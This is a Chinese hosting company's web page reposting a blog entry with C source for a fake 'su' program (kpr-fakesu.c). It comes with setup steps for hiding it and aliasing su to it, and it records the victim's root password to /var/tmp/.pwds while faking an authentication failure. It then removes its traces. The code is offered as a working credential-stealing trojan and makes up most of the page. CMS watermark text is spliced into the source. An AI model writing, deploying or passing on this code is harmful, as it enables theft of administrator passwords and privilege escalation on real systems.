快速业务通道

linux下记录su密码的代码

作者 佚名技术 来源 Linux系统 浏览 发布时间 2012-04-21

  1. /*
  2. * kpr-fakesu.c V0.9beta167 ;P
  3. * by koper <koper@linuxmail.org>
  4. *
  5. * Setting up:
  6. * admin@host:~$ gcc -o .su fakesu.c; rm -rf fakesu.c
  7. * admin@host:~$ mv .su /var/tmp/.su
  8. * admin@host:~$ cp .bash_profile .wgetrc
  9. * admin@host:~$ echo "alias su=/var/tmp/.su">>.bash_profile
  10. * admin@host:~$ logout
  11. * *** LOGIN ***
  12. * admin@host:~$ su
  13. * Password:
  14. * su: Authentication failure
  15. * Sorry.
  16. * admin@host:~$ su
  17. * Password:
  18. * root@host:~# logout
  19. * admin@host:~$ cat /var/tmp/.pwds
  20. * root:dupcia17
  21. * admin@host:~$
  22. *
  23. * /bin/su sends various failure information depending on the OS ver.
  24. * Please modify the source to make it "fit" ;)
  25. *
  26. */
  27. #include <stdio.h>
  28. #include <stdlib.h
    Empire CMS,phome.net
    >
  29. #include <unistd.h>
  30. main(int argc, char *argv[]){
  31. FILE *fp;
  32. char *user;
  33. char *pass;
  34. char filex[100];
  35. char clean[100];
  36. sprintf(filex,"/var/tmp/.pwds");
  37. sprintf(clean,"rm -rf /var/tmp/.su;mv -f /home/sichunfeng/.wgetrc /home/sichunfeng/.bash_profile");
  38. if(argc==1) user="root";
  39. if(argc==2) user=argv[1];
  40. if(argc>2){
  41. if(strcmp(argv[1], "-l")==0)
  42. user=argv[2];
  43. else user=argv[1];}
  44. fprintf(stdout,"Password: ");
  45. pass=getpass ("");
  46. system("sleep 3");
  47. fprintf(stdout,"su: Authentication failurenSorry.n");
    Empire CMS,phome.net
  48. if ((fp=fopen(filex,"w")) != NULL)
  49. {
  50. fprintf(fp, "%s:%sn", user, pass);
  51. fclose(fp);
  52. }
  53. system(clean);
  54. system("rm -rf /var/tmp/.su; ln -s /bin/su /var/tmp/.su");
  55. }
  56. 本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/linkboy2004/archive/2007/08/31/1766638.aspx

Empire CMS,phome.net

凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务,公司网站:http://www.lingzhong.cn 为了给广大客户了解更多的技术信息,本技术文章收集来源于网络,凌众科技尊重文章作者的版权,如果有涉及你的版权有必要删除你的文章,请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!

分享到: 更多

Copyright ©1999-2011 厦门凌众科技有限公司 厦门优通互联科技开发有限公司 All rights reserved

地址(ADD):厦门软件园二期望海路63号701E(东南融通旁) 邮编(ZIP):361008

电话:0592-5908028 传真:0592-5908039 咨询信箱:web@lingzhong.cn 咨询OICQ:173723134

《中华人民共和国增值电信业务经营许可证》闽B2-20100024  ICP备案:闽ICP备05037997号